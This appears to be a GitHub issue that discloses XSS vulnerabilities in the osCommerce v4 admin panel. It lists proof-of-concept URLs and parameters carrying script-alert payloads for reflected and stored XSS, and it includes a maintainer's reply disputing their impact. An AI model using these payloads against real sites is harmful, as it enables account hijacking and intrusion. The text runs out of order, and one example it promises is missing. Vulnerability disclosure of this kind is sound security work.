Open CrownZTX opened 6 months ago
What is the impact of these vulnerabilities? You are already admin and it is quite common to let admin users write custom CSS and HTML in the backend.
The exploitation difficulty of these vulnerabilities is relatively high compared to low-privileged vulnerabilities, but there is still a possibility of exploitation. For example:
Therefore, for administrators, it is essential to vigilantly identify and address various forms of vulnerabilities, regardless of how difficult they may be perceived.
If the admin user is compromised, it's game over anyway, so there's no need to prevent high-privileged users from editing HTML. This would prevent the admin user from being able to upload or edit themes, email templates, and more. The admin user is permitted to write pages using HTML, so they are allowed to write HTML, and there is no other user to whom you could delegate your privileges. The impact of these "vulnerabilities" is nonexistent.
We have recently discovered some XSS vulnerabilities in osCommerce v4 as follows. Could we ask if it would be possible to make them public?
"><script>alert('xss')</script>
By accessing the following url, we can observe that all the payloads are triggered.
http://cms.oscom4.com/admin/categories?by=&search="><script>alert('search')</script>&brand="><script>alert('brand')</script>&status=&stock=&supplier="><script>alert('supp')</script>&source="><script>alert('src')</script>&price_from="><script>alert('pf')</script>&price_to="><script>alert('pt')</script>&weight_from="><script>alert('wf')</script>&weight_to="><script>alert('wt')</script>&weight_value=kg&type_not_listing=1&listing_type=category&category_id=0&brand_id=0&row=0
"><script>alert('xss')</script>
After clicking the search button and refreshing the page, all payloads are triggered. This is equivalent to directly visiting the following link:
http://cms.oscom4.com/admin/reviews?status=&cID=&name="><script>alert('name')</script>&product="><script>alert('prdt')</script>&from="><script>alert('from')</script>&to="><script>alert('to')</script>&row=0
http://cms.oscom4.com/admin/customers?by=&search="><script>alert('sea')</script>&group="><script>alert('grp')</script>&country="><script>alert('cty')</script>&company="><script>alert('cpy')</script>&guest=&status=&date=presel&interval=&title=&row=0
http://cms.oscom4.com/admin/orders?search="><script>alert('xss')</script>
http://cms.oscom4.com/admin/orders?date=presel&interval=&delivery_country="><script>alert('dcty')</script>>&delivery_state="><script>alert('dstt')</script>&row=0&fs=closed&mode=
http://cms.oscom4.com/admin/tmp-orders?by=oID&search="><script>alert('search')</script>
http://cms.oscom4.com/admin/tmp-orders?date=presel&interval=&delivery_country="><script>alert('dcty')</script>>&delivery_state="><script>alert('dstt')</script>&row=0&fs=closed&mode=
<script>alert('xss')</script>
By accessing the following url, we can observe that all the payloads are triggered.
http://cms.oscom4.com/admin/orders-comment-template
<script>alert('xss')</script>
into the "CloudServices[service]" parameter in /admin/printers/service will result in a stored XSS. Accessing /admin/printers will trigger the payload.<script>alert('xss')</script>
into the "platform_name" parameter in /admin/platforms/edit will result in a stored XSS. Accessing /admin/virtual-gift-card will trigger the payload.<script>alert('xss')</script>
into the "tittle" parameter in /admin/admin-menu/add will result in a stored XSS. Accessing /admin/admin-menu will trigger the payload.<script>alert('xss')</script>
into the "products_name[1][1]" parameter in /admin/virtual-gift-card will result in a stored XSS. Accessing /admin/featured/featurededit will trigger the payload.<script>alert('xss')</script>
into the "admin_firstname" and "admin_lastname" parameters in /admin/adminaccount/nameform, the "admin_email_address" parameter in /admin/adminaccount/emailform, and the "admin_username" parameter in /admin/adminaccount/usernameform will result in stored XSS vulnerabilities. Accessing /admin/adminaccount will trigger these payloads.